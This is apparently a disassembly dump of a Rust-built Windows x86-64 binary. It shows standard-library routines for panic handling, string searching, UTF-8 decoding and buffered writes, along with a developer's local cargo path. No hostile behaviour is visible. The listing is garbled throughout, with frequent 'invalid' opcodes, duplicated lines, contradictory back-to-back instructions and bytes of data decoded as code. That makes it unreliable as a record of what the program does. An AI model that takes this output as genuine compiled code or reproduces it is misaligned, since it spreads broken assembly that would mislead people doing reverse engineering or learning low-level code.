cmp rax, 2
setae cl
lea rax, str.s_unknown_
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
cmovae r8, rax
mov qword [rbp + 0x38], r8
cmp byte [r8 - 0x77], r9b
mov qword [rbp - 0x50], rbx
cmp byte [r8 - 0x77], r9b
mov qword [rbp - 0x50], rbx
lea rax, [fcn.140041690]
mov qword [rbp - 0x48], rax
lea rax, [rbp + 0x38]
mov qword [rbp - 0x40], rax
lea rax, [0x140051570]
mov qword [rbp - 0x38], rax
lea rax, [0x1400e94e0]
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 3
mov qword [rbp + 8], 0
lea rax, [rbp - 0x50]
mov qword [rbp - 8], rax
mov qword [rbp], 2
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x45], cl
lea r8, [rbp - 0x18]
invalid
je 0x140093dae
cli
lea r8, [rbp - 0x18]
call fcn.140042240
invalid
inc dword [rcx - 0x3a]
invalid
mov byte [r14], 0
mov qword [rbx], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, qword [rsi + 0x28]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], 0
mov rax, qword [rsi + 0x38]
mov rbx, qword [rax + 0x10]
mov r14, qword [rdi + 0x20]
mov r15, qword [rdi + 0x28]
lea rcx, [rbp - 0x18]
mov rdx, r14
mov r8, r15
call fcn.140043490
cmp qword [rbp - 0x18], 0
mov r12d, 2
mov eax, 2
add byte [rax], al
add byte [rbp + 0x3b], dh
add byte [rax], al
add byte [rbp + 0x3b], dh
mov rdx, qword [rbp - 0x10]
mov r8, qword [rbp - 8]
lea rcx, [rbp - 0x18]
call 0x13dde2610
dec dword [rax - 0x75]
call 0x14301c179
invalid
call 0x13dde2610
dec dword [rax - 0x75]
call 0x14301c179
je 0x140093e53
mov rcx, qword [rbp + 0x20]
mov qword [rbp - 0x20], rcx
movups xmm0, xmmword [rbp - 0x10]
movups xmm1, xmmword [rbp]
movups xmm2, xmmword [rbp + 0x10]
movaps xmmword [rbp - 0x30], xmm2
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov rcx, qword [rbp - 0x20]
mov qword [rbp + 0x20], rcx
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movaps xmm2, xmmword [rbp - 0x30]
movups xmmword [rbp + 0x10], xmm2
movups xmmword [rbp], xmm1
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp - 0x18], rax
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r15
cmp qword [rdi], 0
je 0x140093e93
movups xmm0, xmmword [rdi + 8]
movups xmmword [rbp - 0x48], xmm0
mov r12d, 1
mov qword [rbp - 0x50], r12
mov eax, dword [rdi + 0x18]
mov ecx, dword [rdi + 0x1c]
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], eax
lea rcx, [rbp + 0x38]
lea r8, [rbp - 0x18]
lea r9, [rbp - 0x50]
mov rdx, rbx
call fcn.1400804a0
mov rcx, qword [rsi + 0x30]
mov byte [rcx], al
mov rax, qword [rbp + 0x38]
inc qword [rax + 0x18]
add rsp, 0xd0
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
add eax, 0x1cba00
add byte [rax], al
mov r8, rbx
mov r9, r14
call fcn.140093fa0
test al, al
je 0x140093f20
mov byte [r15], 0
jmp 0x140093ec7
lea rcx, [0x1400e94a4]
mov edx, 0x1a
mov r8, rbx
mov r9, r14
call fcn.140093fa0
test al, al
je 0x140093f41
mov byte [r15], 1
jmp 0x140093ec7
cmp byte [r15], 0
jne 0x140093d19
mov rax, qword [rsi + 0x18]
inc qword [rax]
jmp 0x140093d19
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0x38]
inc qword [rax + 0x18]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
add byte [rcx + rcx*4 - 0x17], cl
mov rdx, r12
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14009447e
inc r13
dec rsi
nop dword [rax]
cmp rsi, rbx
setae r15b
jb 0x140094421
mov rcx, r13
mov rdx, r12
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
inc r13
dec rsi
test eax, eax
jne 0x1400940a0
jmp 0x140094421
mov eax, ebx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
rol byte [rcx + 0xf], 0x94
invalid
jmp 0x140094421
add byte [rax], al
rol byte [rcx + 0xf], 0x94
invalid
add byte [rax], al
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x50]
mov rdx, r13
mov r8, rsi
mov r9, r12
call fcn.1400453b0
cmp qword [rsp + 0x50], 0
je 0x14009431f
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x88], 0xffffffffffffffff
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xb0]
je 0x1400943f8
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 0
jmp 0x140094407
cmp byte [rsp + 0x6a], 0
je 0x140094483
xor eax, eax
mov qword [rsp + 0xb8], rax
jmp 0x140094414
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 1
lea rcx, [rsp + 0xb8]
call fcn.140094610
cmp qword [rsp + 0xb8], 0
setne r15b
mov eax, r15d
movaps xmm6, xmmword [rsp + 0xd0]
movaps xmm7, xmmword [rsp + 0xe0]
movaps xmm8, xmmword [rsp + 0xf0]
movaps xmm9, xmmword [rsp + 0x100]
movaps xmm10, xmmword [rsp + 0x110]
movaps xmm11, xmmword [rsp + 0x120]
movaps xmm12, xmmword [rsp + 0x130]
movaps xmm13, xmmword [rsp + 0x140]
add rsp, 0x158
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r15b, 1
jmp 0x140094421
mov r8, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
movzx eax, byte [rsp + 0x68]
mov r9, rdx
test r8, r8
je 0x1400944bf
mov r9, rdx
sub r9, r8
jbe 0x1400944b9
cmp byte [rcx + r8], 0xc0
jge 0x1400944bf
jmp 0x1400945f3
jne 0x1400945f3
test r9, r9
je 0x1400944da
movzx r11d, byte [rcx + r8]
movzx r10d, r11b
test r10b, r10b
js 0x1400944e7
mov r9d, r10d
jmp 0x14009457b
test al, al
jne 0x14009457f
jmp 0x14009432a
mov r9d, r10d
and r9d, 0x1f
movzx esi, byte [rcx + r8 + 1]
and esi, 0x3f
cmp r10b, 0xe0
jb 0x140094557
movzx r10d, byte [rcx + r8 + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x140094574
movzx r11d, byte [rcx + r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r11d, 0x3f
or r11d, r10d
or r9d, r11d
jmp 0x14009457b
shl r9d, 6
or r9d, esi
jmp 0x14009457b
shl r9d, 0xc
or r9d, r10d
test al, al
je 0x140094591
mov eax, 1
mov qword [rsp + 0xb8], rax
jmp 0x140094414
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.1400aa670
ud2
test r15b, r15b
je 0x1400946c0
mov rbx, r11
nop dword [rax]
fisttp dword [rdi]
invalid
movzx r10d, byte [r8 + r10]
bt r14, r10
jb 0x1400946e0
add rbx, rdx
mov qword [rax + 0x20], rbx
lea r10, [rdi + rbx]
lea r11, [rdi + rbx]
cmp r11, r9
jb 0x140094690
jmp 0x14009485a
movzx r10d, byte [r8 + r10]
bt r14, r10
jae 0x1400946e4
mov rbp, r12
mov rbx, r11
jmp 0x140094750
xor ebp, ebp
jmp 0x140094750
insb byte [rdi], dx
insb byte [rdi], dx
lea rbx, [r11 + rdx]
mov qword [rax + 0x20], rbx
and byte [rax - 0x39], cl
xor byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x14], cl
invalid
cmp r10, r9
jae 0x14009485a
and byte [rax - 0x39], cl
xor byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x14], cl
invalid
add r11, qword [rsp + 0x30]
nop word cs:[rax + rax]
movzx r10d, byte [r8 + r11 - 1]
bt r14, r10
jb 0x14009473f
add rbx, rdx
mov qword [rax + 0x20], r11
mov qword [rax + 0x30], 0
lea r10, [r11 + rdx]
dec r10
add r11, rdx
cmp r10, r9
jb 0x140094710
jmp 0x14009485a
xor ebp, ebp
xor r12d, r12d
nop word cs:[rax + rax]
cmp r13, r12
mov qword [rsp + 0x28], r12
mov rcx, r12
cmova rcx, r13
test r15b, r15b
mov r12, r13
cmovne rcx, r13
cmp rcx, rdx
jae 0x1400947a1
lea r13, [r8 + rbx]
mov r10, rcx
nop word cs:[rax + rax]
lea r11, [rbx + r10]
cmp r11, r9
jae 0x1400948c1
movzx r15d, byte [rsi + r10]
cmp r15b, byte [r13 + r10]
jne 0x14009480a
inc r10
cmp rdx, r10
jne 0x140094780
mov r13, r12
mov r10, r12
movzx r15d, byte [rsp + 0xc0]
mov r12, qword [rsp + 0x28]
nop word cs:[rax + rax]
cmp rbp, r10
jae 0x140094862
dec r10
cmp r10, rdx
jae 0x14009489c
lea r11, [r10 + rbx]
cmp r11, r9
jae 0x1400948ad
movzx ecx, byte [rsi + r10]
cmp cl, byte [r8 + r11]
je 0x1400947c0
add rbx, qword [rsp + 0x40]
mov qword [rax + 0x20], rbx
mov r10, qword [rsp + 0x38]
mov r11, rbx
test r15b, r15b
mov rcx, qword [rsp + 0x20]
and al, 0x20
and al, 0x20
jne 0x14009482f
jmp 0x140094846
mov r13, r12
sub r11, r12
inc r11
mov qword [rax + 0x20], r11
movzx r15d, byte [rsp + 0xc0]
test r15b, r15b
je 0x14009483e
mov rcx, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
lea r10, [rdi + r11]
cmp r10, r9
jb 0x140094681
jmp 0x14009485a
xor r10d, r10d
mov rcx, qword [rsp + 0x20]
mov qword [rax + 0x30], r10
mov r12, r10
lea r10, [rdi + r11]
cmp r10, r9
jb 0x140094681
mov qword [rax + 0x20], r9
xor eax, eax
shr bl, 0x26
shr bl, 0x26
add rdx, rbx
mov qword [rax + 0x20], rdx
push rax
and byte [rbp - 0x7c], al
push qword [rbp + 8]
push rax
and byte [rbp - 0x7c], al
push qword [rbp + 8]
mov qword [rax + 0x30], 0
mov dword [rax + 0x30], 0
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 8], rbx
mov qword [rcx + 0x10], rdx
mov eax, 1
mov qword [rcx], rax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov rcx, r10
call fcn.1400a9fa0
ud2
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov rcx, r11
mov rdx, r9
call fcn.1400a9fa0
ud2
add rcx, rbx
cmp r9, rcx
cmova rcx, r9
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
mov rdx, r9
call fcn.1400a9fa0
ud2
test rax, rax
jne 0x140094ff7
mov rbx, rdx
test rsi, rsi
je 0x140094fca
lea rax, [rsi - 1]
cmp rax, 3
jae 0x140094e60
xor r15d, r15d
xor eax, eax
jmp 0x140094e98
mov rcx, rsi
and rcx, 0xfffffffffffffffc
lea rdx, [rbx + 0x30]
xor r15d, r15d
xor eax, eax
mov r8d, dword [rdx - 0x30]
mov r9d, dword [rdx - 0x20]
add r8, r15
mov r10d, dword [rdx - 0x10]
add r10, r9
add r10, r8
mov r15d, dword [rdx]
add r15, r10
add rax, 4
add rdx, 0x40
cmp rcx, rax
jne 0x140094e70
mov ecx, esi
and ecx, 3
je 0x140094ec0
shl rax, 4
add rax, rbx
shl rcx, 4
xor edx, edx
nop dword [rax]
mov r8d, dword [rax + rdx]
add r15, r8
add rdx, 0x10
add edx, 0x10
cmp rcx, rdx
jne 0x140094eb0
mov rax, qword [rdi + 8]
mov r12, qword [rdi + 0x10]
sub rax, r12
cmp rax, r15
jb 0x140094fb3
mov qword [rsp + 0x20], rsi
shl rsi, 4
xor r14d, r14d
jmp 0x140094f11
mov rcx, qword [rdi]
add rcx, r12
mov rdx, rbp
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
mov qword [rdi + 0x10], r12
add r14, 0x10
cmp rsi, r14
je 0x140094f40
mov rbp, qword [rbx + r14 + 8]
mov r13d, dword [rbx + r14]
mov rax, qword [rdi + 8]
mov eax, dword [rdi + 8]
sub rax, r12
cmp rax, r13
invalid
jae case.0x14007e48a.494
mov rcx, rdi
mov rdx, r12
mov r8, r13
call fcn.1400ab0a0
mov r12, qword [rdi + 0x10]
adc bl, ch
invalid
adc bl, ch
mov dh, 0x66
nop dword [rax + rax]
invalid
add byte [rax], r8b
invalid
invalid
add byte [rbp - 0x7b], cl
dec dword [rdi]
test byte [rax + rax - 0x2dcf0000], dl
test r15, r15
je 0x140094fdd
xor edx, edx
xor ecx, ecx
mov rax, r15
mov r8d, dword [rbx + rdx]
sub rax, r8
adc ecx, dword [rcx + rbp - 0x40]
jb 0x140094f70
inc rcx
add rdx, 0x10
mov r15, rax
cmp rsi, rdx
jne 0x140094f50
ror dword [rax - 0x7d], 0xc2
adc byte [rcx - 0x77], cl
invalid
jmp 0x140094f73
mov rax, r15
mov rsi, qword [rsp + 0x20]
cmp rsi, rcx
jb 0x140094fe6
mov r8, rcx
shl r8, 4
lea rdx, [rbx + r8]
invalid
enter 0xffffffffffffc149, 0xffffffffffffffe0
add al, 0x4a
lea edx, [rbx + rax]
invalid
add ecx, dword [rax + 0x29]
invalid
sub rsi, rcx
je 0x140094e30
invalid
invalid
invalid
mov ecx, dword [rdx]
cmp rax, rcx
ja 0x140095033
invalid
xchg edi, eax
add byte [rax], al
invalid
xchg dword [rdi + 0x29000000], edx
ror dword [rcx + 0x44014a0a], 3
or cl, byte [rdx + 1]
add r9d, dword [rax]
invalid
invalid
sub ecx, eax
mov dword [rdx], ecx
or cl, byte [rdx + 1]
add r9d, dword [rax]
or cl, byte [rdx + 1]
add r9d, dword [rax]
mov rbx, rdx
test rsi, rsi
jne 0x140094e45
invalid
invalid
ror dword [rax - 0x7b], cl
test byte [rdi], 0x85
xchg esp, eax
invalid
jmp 0x140094fca
xor eax, eax
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.failed_to_write_whole_buffer
jmp 0x140094fcc
lea r8, [0x1400e8f80]
mov rdx, rsi
call fcn.1400a9f20
ud2
lea rax, str.advancing_io_slices_beyond_their_length
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, [0x1400e8fd0]
lea rcx, [rsp + 0x28]
call fcn.1400a9ee0
ud2
lea rax, str.advancing_IoSlice_beyond_its_length
mov qword [rsp + 0x28], rax
add eax, 0x44894800
and al, 0x28
mov qword [rsp + 0x30], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.library_std_src_syswindowsio.rs
lea rcx, [rsp + 0x28]
call fcn.1400a9ee0
ud2
adc eax, 0x53748
lea rcx, [rbp - 0x18]
call fcn.140042240
mov rcx, qword [rbp - 0x10]
test al, al
je 0x1400950bd
call 0x13adaf088
dec dword [rax - 0x75]
invalid
test rcx, rcx
lea rax, str.formatter_error
cmovne rax, rcx
add rsp, 0x40
pop rbp
ret
test rcx, rcx
je 0x1400950cb
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
cmp qword [rbp - 0x10], 0
je 0x1400950fe
lea rcx, [rbp - 0x10]
call fcn.14007a090
nop
add rsp, 0x20
pop rbp
ret
mov qword [rsp + 0x38], rcx
lea rcx, [0x140043bc0]
sub edx, 0x8948fffa
and al, 0x40
invalid
sub edx, 0x8948fffa
and al, 0x40
invalid
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rcx
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 3
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 3
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x58]
call fcn.140042240
nop
add rsp, 0x88
ret
movzx eax, byte [0x1400f91b0]
mov rax, qword [rdi + 0x48]
mov byte [rbp - 1], bl
lea rcx, [rbp - 1]
mov qword [rbp - 0x18], rcx
lea rcx, [0x1400931d0]
mov qword [rbp - 0x10], rcx
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp - 0x48], rcx
mov qword [rbp - 0x40], 1
mov qword [rbp - 0x28], 0
lea rcx, [rbp - 0x18]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], 1
lea rdx, [rbp - 0x48]
mov rcx, rsi
call rax
mov rsi, rax
cmp byte [rbp - 8], 0
jne 0x140095252
dec dword [rax - 0x77]
invalid
mov rax, qword [0x1400f9290]
shl rax, 1
test rax, rax
jne 0x14009527a
lea rcx, [0x1400f91a8]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov rax, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
jo 0x140095201
add dword [rax], eax
xor al, 1
mov dword [rbp - 8], eax
jmp 0x1400951e5
add byte [rcx], al
jmp 0x140095252
sub byte [rax - 0x73], cl
push 0x70
lea rcx, [0x1400f91a8]
mov edx, dword [rbp - 8]
call fcn.140080460
nop
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop rbp
ret
invalid
invalid
invalid
mov rax, rsi
add rsp, 0x30
pop rsi
ret
in al, dx
xor byte [rcx + rcx*4 - 0x40], cl
mov rsi, rcx
add rax, 0xfffffffffffffff0
shl r9, 4
shl ecx, 4
shl ecx, 4
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
nop word [rax + rax]
invalid
nop
add eax, 0x1f0f6600
add byte [rax], r8b
invalid
add byte [rbp - 0x7b], cl
leave
test r9, r9
je 0x14009531c
mov r10d, dword [rax + 0x10]
add rax, 0x10
add r9, 0xfffffffffffffff0
push rax
adc byte [rax - 0x7d], cl
rcl byte [rax], 0x49
add ecx, 0xfffffff0
test r10, r10
je 0x140095300
sal byte [rdx + rbp*8 + 0x4c], cl
mov eax, dword [rax + 8]
mov r8, qword [rax + 8]
jmp 0x14009531f
add eax, dword [rbp + 0x31]
ror byte [rax - 0x77], cl
push rsp
and al, 0x20
invalid
xor r10d, r10d
mov qword [rsp + 0x20], rdx
and byte [rax - 0x77], cl
int1
mov rcx, rsi
mov edx, 0xfffffff4
mov r9, r10
call fcn.14007b330
mov rax, rsi
add rsp, 0x30
add esp, 0x30
pop rsi
ret
int3
jne 0x140095367
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.library_std_srcpanicking.rsBox_dyn_Any__unnamed_
or al, 0x94
add eax, 0x58d4c00
add byte [rbp + rcx*4 + 5], cl
add byte [rbp + rcx*4 + 5], cl
lodsd eax, dword [rsi]
add eax, 0x2bba00
mov edx, 0x2b
mov edx, 0x2b
call fcn.1400aa0a0
add dword [rax], eax
ud2
mov rdx, qword [rcx + 0x18]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
and al, 0x28
and al, 0x28
mov qword [rsp + 0x30], rdx
lea rcx, [rsp + 0x20]
call fcn.140095390
ud2
sub al, ch
invalid
int3
in al, dx
invalid
mov dword [rbp - 8], 0xfffffffe
mov rax, qword [rcx]
mov eax, dword [rcx]
mov r8, qword [rax + 8]
mov rdx, qword [rax + 0x18]
push rax
sbb byte [rcx - 0x7d], cl
clc
invalid
je 0x1400953d8
push rax
sbb byte [rcx - 0x7d], cl
clc
add dword [rbp + rdx + 0x4d], esi
test eax, eax
test r8, r8
jne 0x14009541d
test rdx, rdx
jne 0x14009541d
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
xor edx, edx
jmp 0x1400953e7
invalid
test rdx, rdx
jne 0x14009541d
mov rdx, qword [rax]
mov rax, qword [rdx]
mov rdx, qword [rdx + 8]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r8, qword [rax + 0x10]
movzx ecx, byte [rax + 0x20]
movzx eax, byte [rax + 0x21]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], cl
lea rdx, [0x1400e9960]
lea rcx, [rbp - 0x28]
call fcn.1400954a0
ud2
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], 0
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r8, qword [rax + 0x10]
movzx ecx, byte [rax + 0x20]
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
and byte [rdi], cl
mov dh, 0x40
and dword [rax - 0x77d7dbbc], ecx
and al, 0x20
lea rdx, [0x1400e9988]
lea rcx, [rbp - 0x28]
call fcn.1400954a0
add byte [rdi], cl
invalid
ret
int3
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xf0
add byte [rax], al
lea rbp, [rsp + 0x80]
add byte [rax], al
mov qword [rbp + 0x68], 0xfffffffffffffffe
invalid
dec dword [rcx + rcx*4 - 0x32]
movzx r12d, byte [rbp + 0xd8]
movzx r14d, byte [rbp + 0xd0]
lock inc qword [0x1400f9290]
jle 0x140095aaf
mov rdi, rcx
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0xc8], 0
jne 0x140095b39
mov rbx, rdx
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
inc qword [rax + 0xc0]
mov byte [rax + 0xc8], 1
lea r15, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp], r15
lea rax, [0x1400e99b0]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], r8
mov qword [rbp + 0x18], rsi
mov byte [rbp + 0x20], r14b
mov byte [rbp + 0x21], r12b
lea rcx, [0x1400f91c0]
invalid
add bh, bh
adc eax, 0x1ad74
movzx eax, byte [0x1400f91c8]
cmp qword [0x1400f91d0], 0
mov rax, qword [rbx + 0x20]
jne 0x140095596
invalid
mov byte [rbp + 0x67], 1
mov rcx, rdi
add dword [eax - 0x77], ecx
stc
call rax
mov rdi, rax
mov edi, eax
mov rbx, rdx
mov qword [rbp], rax
mov qword [rbp + 8], rdx
test r12b, r12b
je 0x1400955fc
add byte [rax - 0x77], cl
push rbp
or byte [rbp - 0x7c], al
in al, 0x74
outsd dx, dword [rsi]
mov byte [rbp + 0x66], 3
jmp 0x1400957b2
mov byte [rbp + 0x67], 1
mov rcx, rdi
call rax
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rcx, qword [0x1400f91d0]
mov rax, qword [0x1400f91d8]
mov eax, dword [0x1400f91d8]
mov eax, dword [0x1400f91d8]
mov rax, qword [rax + 0x28]
mov byte [rbp + 0x67], 1
mov rdx, rbp
invalid
call rax
sub sil, al
add dword [eax - 0x77], ecx
invalid
lea rcx, [0x1400f91c0]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockShared]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xc8], 0
test r14b, r14b
je 0x140095622
mov byte [rbp + 0x67], 0
call fcn.140086160
jmp 0x140095a70
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xc0], 1
jbe 0x140095687
mov byte [rbp + 0x66], 1
jmp 0x1400957b2
mov dword [rbp - 0x40], 0
mov byte [rbp - 0x3c], 0
lea rax, str.thread_caused_non_unwinding_panic._aborting._n
mov qword [rbp - 0x30], rax
ror byte [rax - 0x39], 1
fadd dword [r9]
add byte [rax], al
add byte [rcx + rcx*4 + 0x7d], cl
loopne 0x140095654
push rdi
invalid
movups xmmword [rbp - 0x18], xmm0
lea rax, [rbp - 0x40]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 0
lea rdx, [0x1400e87b0]
lea rcx, [rbp + 0x50]
lea r8, [rbp - 0x30]
call fcn.140042240
mov rcx, qword [rbp + 0x58]
test al, al
je 0x1400956d5
test rcx, rcx
lea rax, str.formatter_error
cmovne rax, rcx
jmp 0x1400956e9
mov rax, qword [0x1400f91a0]
cmp rax, 3
ja case.default.0x1400956a6
lea rcx, [0x1400f0e50]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [rbp + 0x67], 1
lea rdx, str.RUST_BACKTRACEfailed_to_create_whole_tree
lea rcx, [rbp - 0x30]
mov r8d, 0xe
call fcn.140080100
cmp byte [rbp - 0x18], 2
jne 0x14009573b
mov eax, 3
mov sil, 2
jmp 0x14009579b
test rcx, rcx
je 0x1400956e7
mov byte [rbp + 0x67], 0
lea rcx, [rbp + 0x58]
call fcn.14007a090
xor eax, eax
mov qword [rbp + 0x50], rax
mov byte [rbp + 0x67], 0
lea rcx, [rbp + 0x50]
call fcn.14007a190
mov ecx, 7
int 0x29
ud2
mov sil, 1
jmp 0x1400957a2
mov sil, 2
jmp 0x1400957a2
xor esi, esi
jmp 0x1400957a2
mov byte [rbp + 0x67], 1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, [0x1400e90f8]
mov edx, 0x28
call fcn.1400aa0a0
jmp 0x140095a70
mov r8, qword [rbp - 0x30]
mov rax, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x20]
cmp rcx, 4
je 0x140095760
cmp rcx, 1
jne 0x14009577f
cmp byte [r8], 0x30
sete sil
add sil, sil
jmp 0x140095781
mov ecx, dword [r8]
bswap ecx
xor edx, edx
cmp ecx, 0x66756c6d
setae dl
cmp ecx, 0x66756c6c
sbb edx, 0
sete sil
jmp 0x140095781
xor esi, esi
test rax, rax
je 0x140095795
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea eax, [rsi + 1]
movzx eax, al
mov qword [0x1400f91a0], rax
mov byte [rbp + 0x66], sil
mov rsi, qword [rbp + 0x18]
mov rdi, qword [rbp]
mov rbx, qword [rbp + 8]
mov qword [rbp + 0x28], rsi
mov rax, qword [rbx + 0x18]
mov byte [rbp + 0x67], 1
mov rcx, rdi
call rax
movabs rcx, 0xc1a2c89ccd1e7bc1
xor rax, rcx
movabs rcx, 0xfdbc168100b1ef64
xor rdx, rcx
or rdx, rax
jne 0x1400958be
lea rax, [rdi + 8]
mov rcx, qword [rdi]
mov rax, qword [rax]
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x38], rax
mov byte [rbp + 0x67], 1
call fcn.14007a7f0
mov rsi, rax
mov eax, 9
lea rcx, [0x1400e97a0]
test rsi, rsi
je 0x140095828
mov rdx, qword [rsi + 0x18]
test rdx, rdx
je 0x140095828
mov rax, qword [rsi + 0x20]
dec rax
mov rcx, rdx
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], rax
lea rax, [rbp + 0x50]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x40]
mov qword [rbp - 0x20], rax
lea rax, [rbp + 0x66]
mov qword [rbp - 0x18], rax
movzx eax, byte [0x1400f9150]
test al, al
mov qword [rbp + 0x30], rsi
je 0x14009591a
mov byte [0x1400f9150], 1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xe0], 0
jne 0x140095904
call fcn.140085a90
test rax, rax
jne 0x14009590b
lea rax, str.library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadlocal.rs
